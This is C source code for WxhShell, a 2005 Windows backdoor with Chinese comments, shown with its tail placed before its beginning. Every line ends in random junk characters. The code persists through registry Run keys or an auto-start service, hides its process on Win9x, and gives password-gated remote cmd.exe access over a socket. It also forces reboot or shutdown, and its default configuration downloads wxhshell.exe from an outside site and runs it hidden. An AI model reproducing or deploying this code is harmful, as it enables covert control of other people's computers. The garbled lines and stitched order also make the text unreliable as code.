    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ABB4(_3E  
    else { G^5}T>TV  
    closesocket(wsh); z1_\P) M  
    ExitThread(0); StA5h+[m  
    } $ ^m_M.1  
    break; jbGP`b1_  
    } KE6[u*\  
  // 获取shell 4w\cS&X~C  
  case 's': { 4)i/B99k  
    CmdShell(wsh); /N]?>[<NW  
    closesocket(wsh); b$H{|[  
    ExitThread(0); 1]m]b4]  
    break; K6{{\r  
  } o%5^dX&[  
  // 退出 j;)U5X  
  case 'x': { %jim] ]<S[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fz~-m#Ts  
    CloseIt(wsh); -# |J  
    break; _6(QbY'JV`  
    } v|"Nx42  
  // 离开 rx CSs  
  case 'q': { Mq8jPjL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); },e f(  
    closesocket(wsh); D~G24k6b3  
    WSACleanup(); CUaI66  
    exit(1); 7xz|u\?_2  
    break; ?(n|ykXwc  
        } C1Slx !}  
  } :"|}oKT%mP  
  } ci <`*>l  
98x]x:mgI_  
  // 提示信息 c7E=1*C<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #B_ ``XV  
} 0Ou`& u  
  } DI"mi1ObE  
1Y_Cd  
  return; A90o X1l  
} KAT4C 4=,  
bT2b)nf  
// shell模块句柄 2r^|  
int CmdShell(SOCKET sock) lrPiaSO`I  
{ ^?VYE26  
STARTUPINFO si; :)SLi  
ZeroMemory(&si,sizeof(si)); ^Bf@ I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VZ 5EV'D8!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d:|X|0#\uH  
PROCESS_INFORMATION ProcessInfo; CfNHv-jDL  
char cmdline[]="cmd"; |x3.r t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gcna:w>6d  
  return 0; a= +qR:wT  
} ri<E[8\  
1D sgU6"  
// 自身启动模式 a2 e-Q({  
int StartFromService(void) N=YRYU o  
{ b)tvXiO1>  
typedef struct 3i/$YX5@  
{ y'(l]F1]  
  DWORD ExitStatus; PF+v[h;,  
  DWORD PebBaseAddress; |$`)d87,  
  DWORD AffinityMask; l\vtz5L  
  DWORD BasePriority; !ZPaU11  
  ULONG UniqueProcessId; a$y=+4L  
  ULONG InheritedFromUniqueProcessId; : " 9F.U  
}   PROCESS_BASIC_INFORMATION; llXyM */  
s_}T -%\  
PROCNTQSIP NtQueryInformationProcess; bwR24>8lP  
Z?kLAhy!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :UGc6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eQbDs_  
q$(@  
  HANDLE             hProcess; L1 1/XpR  
  PROCESS_BASIC_INFORMATION pbi; (,#Rj$W  
vr+O)/P})  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nw){}g  
  if(NULL == hInst ) return 0; BWamF{\d1a  
;I1}g]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hqd}L~o:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `j{q$Y=AG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2"*7H S  
K+5S7wFDZ  
  if (!NtQueryInformationProcess) return 0; 6r4o47_t8#  
eLXG _Qb"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U?P5 cN  
  if(!hProcess) return 0;  I0trHrX9  
G%_6" s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +YVnA?r?  
6Lk<VpAa  
  CloseHandle(hProcess); |r[yMI|VR  
TR/'L!EE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |!NKKvf  
if(hProcess==NULL) return 0; f0]8/)  
_C$JO   
HMODULE hMod; o7' cC?u  
char procName[255]; @.T(\Dq^  
unsigned long cbNeeded; v<c~ '?YzO  
_-$O6eZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AQ:cim `  
{_t i*#  
  CloseHandle(hProcess); ">PpC]Y1  
phr6@TI  
if(strstr(procName,"services")) return 1; // 以服务启动 u;rK.3o  
`@eo <6  
  return 0; // 注册表启动 GP6-5Y"8  
} }JyWy_Y  
m&(yx| a4+  
// 主模块 `KBgVhS>  
int StartWxhshell(LPSTR lpCmdLine) OoL#8R  
{ STmn%&  
  SOCKET wsl; I%.KFPV  
BOOL val=TRUE; (ds-p[`[m  
  int port=0; *)+1BYMo  
  struct sockaddr_in door; lX$6U| !  
3#o!K  
  if(wscfg.ws_autoins) Install(); s\A"B#9r  
Q|/uL`_ni  
port=atoi(lpCmdLine); 8q*MhH>6I  
U9GmkXRix  
if(port<=0) port=wscfg.ws_port; eV$pza  
Ej\EuX  
  WSADATA data; C,T9xm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HH =sq  
|_ZD[v S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J`}5bnFP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZS[(r-)$F  
  door.sin_family = AF_INET; k9H7(nS{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O]rAo  
  door.sin_port = htons(port); #n&/yYl9(l  
6z3 Yq{1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [!9 dA.tF  
closesocket(wsl); +NL^/y<;  
return 1; {Wp+Y9c[  
} HPJ\]HV(  
)vVt{g  
  if(listen(wsl,2) == INVALID_SOCKET) { Ln/6]CMl  
closesocket(wsl); >Hb>wlYR  
return 1; <8#Q5   
} IH|PdVNtg  
  Wxhshell(wsl); )QS4Z{)U  
  WSACleanup(); uJ ;7]  
AY{#!RtV  
return 0; wT/TQEgz  
*opf~B_e  
} C%P)_)- -V  
CMI'y(GN  
// 以NT服务方式启动 -=_bXco}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P{2V@ <}  
{ o|#Mq"od  
DWORD   status = 0; PR rf$& u  
  DWORD   specificError = 0xfffffff; 8`Wj 1 ,q  
V?"X0>]0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v"'Co6fw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m>dZ n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sj?u^L8es}  
  serviceStatus.dwWin32ExitCode     = 0; `tZu~ n  
  serviceStatus.dwServiceSpecificExitCode = 0; bH+x `]{A  
  serviceStatus.dwCheckPoint       = 0; +76{S_CZ  
  serviceStatus.dwWaitHint       = 0; ds@X%L;_  
Fl{:aq"3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]C.x8(2!f  
  if (hServiceStatusHandle==0) return; :EOx>Pf_9)  
$50rj  
status = GetLastError(); Uawf,57v<  
  if (status!=NO_ERROR) l !VPk"s  
{ g%()8QxE1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l(X8 cHAi  
    serviceStatus.dwCheckPoint       = 0; Bx R% \  
    serviceStatus.dwWaitHint       = 0; z"/Mva3|  
    serviceStatus.dwWin32ExitCode     = status; !9GJ9ZEXM  
    serviceStatus.dwServiceSpecificExitCode = specificError; c`:hEQs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m# #( uSh  
    return; 0ox 8_l  
  } ;{1J{-EA  
,nn5LQ|l.j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `m2e *  
  serviceStatus.dwCheckPoint       = 0; 52+;j[ ]/O  
  serviceStatus.dwWaitHint       = 0; (eX9O4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); huh-S ,M  
} 1,cd[^`.  
Gok8:,  
// 处理NT服务事件,比如:启动、停止 /*g9drwaa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c2M-/ x-:  
{ aq-`Bar  
switch(fdwControl) Hg8n`a;R  
{ hjCFN1 #Sa  
case SERVICE_CONTROL_STOP: zh5'oE&[yC  
  serviceStatus.dwWin32ExitCode = 0; G dZ_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z@!zQ Vp  
  serviceStatus.dwCheckPoint   = 0; Cj~45)r  
  serviceStatus.dwWaitHint     = 0; v(ABZNIn  
  { IT,d(UV_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uK6_HvHuy  
  } 3f'dBn5  
  return; 3L2@C%  
case SERVICE_CONTROL_PAUSE: .Q'/e>0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q^{Z"ifL  
  break; ogN/zIU+VA  
case SERVICE_CONTROL_CONTINUE: zqEMR>px  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qd~M;L O"i  
  break; gH87e  
case SERVICE_CONTROL_INTERROGATE: ;zy[xg.7  
  break; |~'D8 g:Ak  
}; J?/.|Y]e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } sTo,F$  
} uP,{yna(  
s|3@\9\  
// 标准应用程序主函数 ) V}q7\G~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k+k&}8e  
{ .54E*V1  
f.f5f%lO~  
// 获取操作系统版本 *We.?"X'].  
OsIsNt=GetOsVer(); GKPC9;{W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qGndh  
e_C9VNP  
  // 从命令行安装 ]TTX<R ZLr  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0,)Ao8  
y'sy]Q~  
  // 下载执行文件 $`q8-+{  
if(wscfg.ws_downexe) { \Y'#}J"dh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KM$5ZbCF:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?VM#Nf\  
} z-(#Mlq:!  
1_JxDT,=>  
if(!OsIsNt) { wg6![Uh  
// 如果时win9x,隐藏进程并且设置为注册表启动 .0x+b-x  
HideProc(); tT7< V{i4  
StartWxhshell(lpCmdLine); Zf~ [4Eeb  
} 2u9^ )6/  
else jYwv+EXg  
  if(StartFromService()) !\{&^,y  
  // 以服务方式启动 4Q0@\dR9  
  StartServiceCtrlDispatcher(DispatchTable); $YDZtS&h  
else @g|E b}t  
  // 普通方式启动 S@suPkQ<>  
  StartWxhshell(lpCmdLine); nJ/wtw  
,#^<0u+zrF  
return 0; N*t91 X  
} Sz0M8fYT]  
e2#"o{+@  
jF}zv  
LS:3Dtq  
=========================================== t3 AZS0  
bH7[6#y$  
GD1=Fb"&)  
K GlO;Q~7  
f_1#>]  
L2ePWctq}  
" #plwK-tPR  
O[RmQ8ll  
#include <stdio.h> _]E ~ci}  
#include <string.h> rI&GM |  
#include <windows.h> rl)(4ad=  
#include <winsock2.h> 9GnNL I{  
#include <winsvc.h> 7^k`:Z  
#include <urlmon.h> +Ux)m4}j  
NLDmZra  
#pragma comment (lib, "Ws2_32.lib") A.9,p  
#pragma comment (lib, "urlmon.lib") W>b(hVBE  
qB3{65  
#define MAX_USER   100 // 最大客户端连接数 fFXG;Q8&  
#define BUF_SOCK   200 // sock buffer G'XlsyaWrb  
#define KEY_BUFF   255 // 输入 buffer bw#zMU^E  
4QWDuLu  
#define REBOOT     0   // 重启  9H*$3  
#define SHUTDOWN   1   // 关机 &fYx0JT  
s~$kzEtjjU  
#define DEF_PORT   5000 // 监听端口 _>HX Q6Hw  
UTQ$sg|7p  
#define REG_LEN     16   // 注册表键长度 ~p~8T  
#define SVC_LEN     80   // NT服务名长度 }~lF Rf  
OVO0Emv  
// 从dll定义API owe362q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k/nOz*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {! RW*B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s-r$%9o5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ah)OyO6  
ssW+'GD  
// wxhshell配置信息 6w K=  
struct WSCFG { -tT{h 4  
  int ws_port;         // 监听端口 Tgp}k%R~  
  char ws_passstr[REG_LEN]; // 口令 /vPh_1  
  int ws_autoins;       // 安装标记, 1=yes 0=no rtDm<aUh  
  char ws_regname[REG_LEN]; // 注册表键名 p}.P^`~j  
  char ws_svcname[REG_LEN]; // 服务名  TyMR m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?8Cxt|o>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )rD] y2^<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !@-j!Ub  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !B?/6XRUx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NFGC.<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N s9cx  
!U#kUj:4I  
}; eif<aG5  
} oJ+2OepN  
// default Wxhshell configuration ?mY )m +  
struct WSCFG wscfg={DEF_PORT, zdn e2  
    "xuhuanlingzhe", MxxYMR  
    1, r&"}zyL  
    "Wxhshell", .hgc1  
    "Wxhshell", wd*i~A3+?  
            "WxhShell Service", ZeK*MPxQ  
    "Wrsky Windows CmdShell Service", EF0{o_  
    "Please Input Your Password: ", ) 0$7{3  
  1, 4UoUuKzt  
  "http://www.wrsky.com/wxhshell.exe", pRXA!QfO  
  "Wxhshell.exe" j._9;HifZ  
    }; ltt%X].[  
>82Q!HaH  
// 消息定义模块 ))!Z2PfD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %Ua*}C   
char *msg_ws_prompt="\n\r? for help\n\r#>"; D`e!CprF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >8SX,  
char *msg_ws_ext="\n\rExit."; N##T1 Qm)  
char *msg_ws_end="\n\rQuit."; =KNg "|  
char *msg_ws_boot="\n\rReboot..."; $c0SWz  
char *msg_ws_poff="\n\rShutdown..."; HhNH"b&  
char *msg_ws_down="\n\rSave to "; k(\HAIW  
IGql^,b  
char *msg_ws_err="\n\rErr!"; dk({J   
char *msg_ws_ok="\n\rOK!"; t=S94 ^g  
<PW*vo9v  
char ExeFile[MAX_PATH]; FqsG#6|x  
int nUser = 0; 3z: rUhA  
HANDLE handles[MAX_USER]; qYIBP?`g  
int OsIsNt; Pf)<6?T  
VYf$0oo\4  
SERVICE_STATUS       serviceStatus; U_!"&O5lr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?TE#4}p|  
({![  
// 函数声明 X =S;8=N  
int Install(void); gq[}/E0e  
int Uninstall(void); 2DTH|Yv  
int DownloadFile(char *sURL, SOCKET wsh); yt  C{,g>  
int Boot(int flag); bEbO){Fe  
void HideProc(void); -+|0LXo  
int GetOsVer(void); B/E1nBobC  
int Wxhshell(SOCKET wsl); D8h ?s  
void TalkWithClient(void *cs); }<FBcc(n  
int CmdShell(SOCKET sock); 0Qw?.#[9  
int StartFromService(void); EPI mh  
int StartWxhshell(LPSTR lpCmdLine); F#4?@W  
t K{`?NS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zo@>~G3$9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AyNl,Xyc4  
%Iv+Y$'3B  
// 数据结构和表定义 Xa<siA{  
SERVICE_TABLE_ENTRY DispatchTable[] = FlVGi3  
{ I=f1kr pR  
{wscfg.ws_svcname, NTServiceMain}, 4OCz:t  
{NULL, NULL} LLgN%!&  
}; ,0<|&D  
QEUg=*3W=  
// 自我安装 } 5OlX  
int Install(void) Podm 3b  
{ L)Un9&4L  
  char svExeFile[MAX_PATH]; y+Q!4A  
  HKEY key; p`{<q -  
  strcpy(svExeFile,ExeFile); Fxv~;o#  
@Z@yI2#e  
// 如果是win9x系统,修改注册表设为自启动 5[I> l  
if(!OsIsNt) { jSVb5P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .d8) *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g IX"W;  
  RegCloseKey(key); sdS<-! %u4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,PRM(n-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =h&DW5QC  
  RegCloseKey(key); f`WmRx]K  
  return 0; ^ 9;s nr  
    } "793R^Tz  
  } 9A B~*;U  
} SL%4w<  
else { zCO5 `%14  
*PL+)2ob  
// 如果是NT以上系统,安装为系统服务 DKIDLf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  +tfmBZl^  
if (schSCManager!=0) b)@D*plS&  
{ #: ' P3)&  
  SC_HANDLE schService = CreateService %PlPXoG=  
  ( .h~)|" uzW  
  schSCManager, %<1fj#X8  
  wscfg.ws_svcname, aM?7'8/  
  wscfg.ws_svcdisp, X:8=jHkz  
  SERVICE_ALL_ACCESS, J_rCo4}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EF)kYz!@  
  SERVICE_AUTO_START, c~R ElL  
  SERVICE_ERROR_NORMAL, &??(EA3  
  svExeFile, 5Odi\SJ&  
  NULL, ODv)-J  
  NULL, 1Lj\"+.  
  NULL, cY\-e?`=4  
  NULL, [`ttNW(_  
  NULL ,Hys9I  
  ); v%zI~g.L  
  if (schService!=0) WHE*NWz>q  
  { zKfb  
  CloseServiceHandle(schService); rQisk8 %  
  CloseServiceHandle(schSCManager); '|Q=J)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d UjdQ  
  strcat(svExeFile,wscfg.ws_svcname); Zpu>T2Tp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ml?+JbLg0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V7rcnk#  
  RegCloseKey(key); @gxO%@@  
  return 0; V3@^bc!   
    } i>)Whr'e8  
  } D\* raQ`n  
  CloseServiceHandle(schSCManager); c$uV8_V  
} N SHlo*)}  
} P7u5Ykc*  
?r'b Z~  
return 1; : ] Y=  
} lZn <v'y  
qY14LdC}~  
// 自我卸载 {R1jysG tD  
int Uninstall(void) Z8'uZ#=Yw  
{ >-)i_C2  
  HKEY key; z)|56 F7'  
r T* :1  
if(!OsIsNt) { []LNNO],X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *"9b?`E  
  RegDeleteValue(key,wscfg.ws_regname); %gw0^^A  
  RegCloseKey(key); t~U:{g~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NO* 1km[#  
  RegDeleteValue(key,wscfg.ws_regname); L]HY*e  
  RegCloseKey(key); @*%.V.  
  return 0; h+Dg"j<[  
  } II~D66 bF  
} sF|<m)Kt{W  
} ,qvz:a  
else { IK %j+UB  
5[/ *UtB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y=}b/[s6;  
if (schSCManager!=0) t}'Oh}CG  
{ [%QJ6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pOH_ CXw  
  if (schService!=0) kk!}mbA_}  
  { 2^qY, dL  
  if(DeleteService(schService)!=0) { 7~|o_T  
  CloseServiceHandle(schService); +8BH%f}X  
  CloseServiceHandle(schSCManager); ?'h@!F%R'  
  return 0; =gfLl1wY[  
  } 38Wv&!  
  CloseServiceHandle(schService); /3+7a\|mKr  
  } $orhY D3gv  
  CloseServiceHandle(schSCManager); TAzhD.6C  
} 1RcaE!\p  
} ?"sk"{  
rvr Ok  
return 1; dnNc,l&g  
} PJ #uYM  
u.!Pda  
// 从指定url下载文件 -} Z  
int DownloadFile(char *sURL, SOCKET wsh) t5eux&C  
{ ~^VcTSY@<L  
  HRESULT hr; s*]1d*B!  
char seps[]= "/"; @ @# G.  
char *token; 8Cm^#S,+  
char *file; {W0]0_mI(  
char myURL[MAX_PATH]; Ko -<4wu  
char myFILE[MAX_PATH]; yiI&>J))  
qvYw[D#.  
strcpy(myURL,sURL); !T @|9PCp  
  token=strtok(myURL,seps); Z,u:g c+*  
  while(token!=NULL) M>T#MDK\(  
  { Gm>8= =c  
    file=token; %W`pTvF  
  token=strtok(NULL,seps); x%x[5.CT  
  } 40q8,M  
`^w5/v#  
GetCurrentDirectory(MAX_PATH,myFILE); NO9Jre  
strcat(myFILE, "\\"); ;o8cfD.z  
strcat(myFILE, file); Xb;CY9&  
  send(wsh,myFILE,strlen(myFILE),0); AK [9fxrE  
send(wsh,"...",3,0); ADHe! [6q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {}lw%d?A  
  if(hr==S_OK) YTYYb#"Q  
return 0; "=/XIM.  
else '-ACNgNn  
return 1; dks0  
QZ{:#iuig  
} L'[ '7  
dmE-W S  
// 系统电源模块 W:0@m^r  
int Boot(int flag) f#^%\K:YYR  
{ M{z+=c&w  
  HANDLE hToken; *M KVm)Iv  
  TOKEN_PRIVILEGES tkp; YR[Ii?  
,L_p"A  
  if(OsIsNt) { q+LjWZ+O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JQbI^ef_;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +F67g00T|  
    tkp.PrivilegeCount = 1; OjZ+gl}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v3aiX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wxp^*._q3I  
if(flag==REBOOT) { VMtR4!:q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t/q\Ne\\,  
  return 0; }b,a*4pN  
} nre8 F  
else { Grw_SVa^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ; G E0iSC  
  return 0; &|9?B!,`  
} 1` 9/[2z  
  } rVf`wJ6b  
  else { $1UN?(r  
if(flag==REBOOT) { R\X=Vg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dy8Go4  
  return 0; Z"E+ TX  
} mXa1SZnE   
else { du47la 3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tpCEWdn5  
  return 0; [x)BQX'  
} F]Y Pq  
} VSP[G ,J.  
3-_4p8OK  
return 1; J/ rQ42d  
} Uvz9x"0[u  
H[6d@m- Z  
// win9x进程隐藏模块 FiFZM  
void HideProc(void) E>7%/TIl  
{ 3HfT9  
r9u*c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SZyPl9.b  
  if ( hKernel != NULL ) a_Xh(d$  
  { d5u,x.R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 12k)Ek9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -pLb%f0?  
    FreeLibrary(hKernel); 9K%E+_7b  
  } 4V[+6EV  
sb8SG_c.  
return; Zi|'lHr  
} H)(Jjk-O  
xi|iV1A  
// 获取操作系统版本 E%$FX' 8&  
int GetOsVer(void) LTJ|EXYA  
{ l?#([(WM  
  OSVERSIONINFO winfo; 'rd{fe_g!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0 J ANj  
  GetVersionEx(&winfo); V:l; 2rW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0eb`9yM  
  return 1; *Jp>)>  
  else u#}zNz#C5  
  return 0; 2>s:wABb /  
} t,RR\S  
QMkLAZ  
// 客户端句柄模块 mWka!lT  
int Wxhshell(SOCKET wsl) mk[=3!J  
{ O0~[]3Y[=  
  SOCKET wsh; Fv(zql  
  struct sockaddr_in client; 7e u7ie6  
  DWORD myID; EI/_=.d  
;,9|;)U?u  
  while(nUser<MAX_USER) 0WYVt"|;}c  
{ _YbHnb  
  int nSize=sizeof(client); hQX|wWh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v|n.AGn  
  if(wsh==INVALID_SOCKET) return 1; OZ7MpQ  
U[Z1@2zLx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #<l ;YT8  
if(handles[nUser]==0) @n})oAC,  
  closesocket(wsh); LeO5BmwHR  
else }.e*=/"MB  
  nUser++; T\2cAW5  
  } @dO~0dF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u6|7P<HUfb  
"esV#%:#J  
  return 0; iUSs)[]H>  
} f$/Daq <M  
F5E KWP  
// 关闭 socket b/2t@VlL  
void CloseIt(SOCKET wsh) _D z4 }:9  
{ 'm-s8]-W  
closesocket(wsh); Vwl`A3Y  
nUser--; LoNz 1KJL  
ExitThread(0); w' U;b  
} O^`Y>>a  
~2 =B:;  
// 客户端请求句柄 IWKQU/l!  
void TalkWithClient(void *cs) Q%KS$nP9  
{ N )&3(A@  
1uS _]59=  
  SOCKET wsh=(SOCKET)cs; 4xg%OH  
  char pwd[SVC_LEN]; _.\p^ HM  
  char cmd[KEY_BUFF]; `_z8DA}E  
char chr[1]; j63w(Jv/  
int i,j; <51(q_f  
z^=9%tLJ  
  while (nUser < MAX_USER) { yPuT%H&i  
wYS4#7  
if(wscfg.ws_passstr) { n?:s/6tP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Wb W\,P'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {fk'g(E8([  
  //ZeroMemory(pwd,KEY_BUFF); p?5`+Z  
      i=0; E+[K?W5  
  while(i<SVC_LEN) { .}]5y4UQ.  
iv3NmkP1  
  // 设置超时 p6I@o7f  
  fd_set FdRead; [ tm J6^s  
  struct timeval TimeOut; V"\t  
  FD_ZERO(&FdRead); .y[=0K:  
  FD_SET(wsh,&FdRead); WM*7p;t@)  
  TimeOut.tv_sec=8; qDL9  
  TimeOut.tv_usec=0; 6(X(f;MEl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %'@&j2j>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yg/.=M  
5f}wQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qI KVu_  
  pwd=chr[0]; X[|-F3o  
  if(chr[0]==0xd || chr[0]==0xa) { Q>= :$I  
  pwd=0; _f2(vWCW;J  
  break; W aks*^|  
  } :'a |cjq  
  i++; >L5[dkg%  
    } lHr?sMt  
/ey}#SHm,  
  // 如果是非法用户,关闭 socket 8 w^i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;/ WtO2  
} o{nBtxZ"  
aElEV e3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T [&1cth  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6YYZ S2  
(t fADaJM  
while(1) { -=2tKH`Q  
0zdH6 &  
  ZeroMemory(cmd,KEY_BUFF); ~#7=gI&p@  
2Vt iL^;5  
      // 自动支持客户端 telnet标准   rS8/_'  
  j=0; 29 ')Y|$,  
  while(j<KEY_BUFF) { Lk=f^qJ ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E*j)gj9  
  cmd[j]=chr[0]; n1!0KOu/N  
  if(chr[0]==0xa || chr[0]==0xd) { U(.Ln@sq  
  cmd[j]=0; CGny#Vh  
  break; 'I\bz;VT  
  } '+5*ajP<  
  j++; d5UdRX]*  
    } y kwS-e  
1Ep!U#Del  
  // 下载文件 U''/y\Z  
  if(strstr(cmd,"http://")) { x>Q\j>^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -05#/-Z=  
  if(DownloadFile(cmd,wsh)) dI{)^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K'Bq@6@C g  
  else h@@2vs2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W=%}~ 7*  
  } LoqS45-)  
  else { d 0$)Y|d>  
#-Ehg4W  
    switch(cmd[0]) { +t,JCY6  
  %9uLxC;  
  // 帮助 ENr\+{{%  
  case '?': { -Wb/3 X  
